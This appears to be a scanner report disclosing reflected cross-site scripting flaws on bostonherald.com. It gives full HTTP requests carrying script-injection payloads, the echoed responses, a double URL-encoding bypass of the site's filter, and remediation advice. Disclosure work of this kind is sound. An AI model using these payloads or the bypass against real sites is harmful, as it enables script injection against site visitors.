GET /blogs/news/lone_republican/index.php/201119ef4"><script>alert(1)</script>1dd41ef465f/01/26/cutting-the-state-police/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:07:33 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/news/lone_republican/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:07:16 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 28406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/news/lone_republican/index.php/201119ef4\"><script>alert(1)</script>1dd41ef465f/01/26/cutting-the-state-police/"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13dab"><script>alert(1)</script>b404e1442a7 was submitted in the REST URL parameter 6. This input was echoed as 13dab\"><script>alert(1)</script>b404e1442a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/news/lone_republican/index.php/2011/0113dab"><script>alert(1)</script>b404e1442a7/26/cutting-the-state-police/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:08:47 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/news/lone_republican/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:08:30 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 28406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/news/lone_republican/index.php/2011/0113dab\"><script>alert(1)</script>b404e1442a7/26/cutting-the-state-police/"> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3824"><script>alert(1)</script>ec4b7781a2e was submitted in the REST URL parameter 7. This input was echoed as a3824\"><script>alert(1)</script>ec4b7781a2e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/news/lone_republican/index.php/2011/01/26a3824"><script>alert(1)</script>ec4b7781a2e/cutting-the-state-police/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:09:37 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/news/lone_republican/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:09:20 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 28406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/news/lone_republican/index.php/2011/01/26a3824\"><script>alert(1)</script>ec4b7781a2e/cutting-the-state-police/"> ...[SNIP]...
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0bb1"><script>alert(1)</script>0c6338846da was submitted in the REST URL parameter 8. This input was echoed as d0bb1\"><script>alert(1)</script>0c6338846da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/news/lone_republican/index.php/2011/01/26/cutting-the-state-policed0bb1"><script>alert(1)</script>0c6338846da/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:10:41 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/news/lone_republican/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:10:24 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 28406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/news/lone_republican/index.php/2011/01/26/cutting-the-state-policed0bb1\"><script>alert(1)</script>0c6338846da/"> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59440"><script>alert(1)</script>a90735c589b was submitted in the REST URL parameter 5. This input was echoed as 59440\"><script>alert(1)</script>a90735c589b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/sports/rap_sheet/index.php/201159440"><script>alert(1)</script>a90735c589b/01/28/senior-bowl-rewind-why-boston-college-ot-anthony-castonzo-has-become-a-patriots-fan/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:01:54 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/sports/rap_sheet/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:01:37 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 57634
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/sports/rap_sheet/index.php/201159440\"><script>alert(1)</script>a90735c589b/01/28/senior-bowl-rewind-why-boston-college-ot-anthony-castonzo-has-become-a-patriots-fan/"> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ea2b"><script>alert(1)</script>c53f3083bf9 was submitted in the REST URL parameter 5. This input was echoed as 8ea2b\"><script>alert(1)</script>c53f3083bf9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/sports/red_sox/index.php/20118ea2b"><script>alert(1)</script>c53f3083bf9/01/28/checking-the-crystal-ball-on-the-red-sox-2011-lineup/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:03:17 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/sports/red_sox/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:03:01 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32101
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/sports/red_sox/index.php/20118ea2b\"><script>alert(1)</script>c53f3083bf9/01/28/checking-the-crystal-ball-on-the-red-sox-2011-lineup/"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9bc2"><script>alert(1)</script>4c7b0ea2d57 was submitted in the REST URL parameter 6. This input was echoed as b9bc2\"><script>alert(1)</script>4c7b0ea2d57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/sports/red_sox/index.php/2011/01b9bc2"><script>alert(1)</script>4c7b0ea2d57/28/checking-the-crystal-ball-on-the-red-sox-2011-lineup/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:04:16 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/sports/red_sox/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:03:59 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32101
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/sports/red_sox/index.php/2011/01b9bc2\"><script>alert(1)</script>4c7b0ea2d57/28/checking-the-crystal-ball-on-the-red-sox-2011-lineup/"> ...[SNIP]...
The value of the companion request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a67b1</script><script>alert(1)</script>4ab8f6765b0 was submitted in the companion parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/processAds.bg?position=x14&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottoma67b1</script><script>alert(1)</script>4ab8f6765b0&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:21 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2148 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the companion request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc2d1"><script>alert(1)</script>6c821273efd was submitted in the companion parameter. This input was echoed as bc2d1\"><script>alert(1)</script>6c821273efd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=x14&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottombc2d1"><script>alert(1)</script>6c821273efd&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:21 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2112 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea775"><script>alert(1)</script>9030106f1a6 was submitted in the page parameter. This input was echoed as ea775\"><script>alert(1)</script>9030106f1a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=x14&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhomeea775"><script>alert(1)</script>9030106f1a6 HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:22 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2112 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 37376%2527%253balert%25281%2529%252f%252fe6f611bda68 was submitted in the page parameter. This input was echoed as 37376';alert(1)//e6f611bda68 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the page request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /includes/processAds.bg?position=x14&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome37376%2527%253balert%25281%2529%252f%252fe6f611bda68 HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:23 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2016 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the position request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7107c</script><script>alert(1)</script>2ef88115157 was submitted in the position parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/processAds.bg?position=x147107c</script><script>alert(1)</script>2ef88115157&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:20 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2143 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the position request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6b75"><script>alert(1)</script>72445af01e was submitted in the position parameter. This input was echoed as a6b75\"><script>alert(1)</script>72445af01e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=x14a6b75"><script>alert(1)</script>72445af01e&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: www.bostonherald.com Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bhfont=12
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 01:40:20 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 2101 Content-Type: text/html; charset=UTF-8 Connection: close
<style type="text/css"> /* div { top: 0px; } */ </style>
2.18. http://www.bostonherald.com/mediacenter/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/mediacenter/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b77b'-alert(1)-'44e32132f58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mediacenter/?7b77b'-alert(1)-'44e32132f58=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:23:18 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 450978
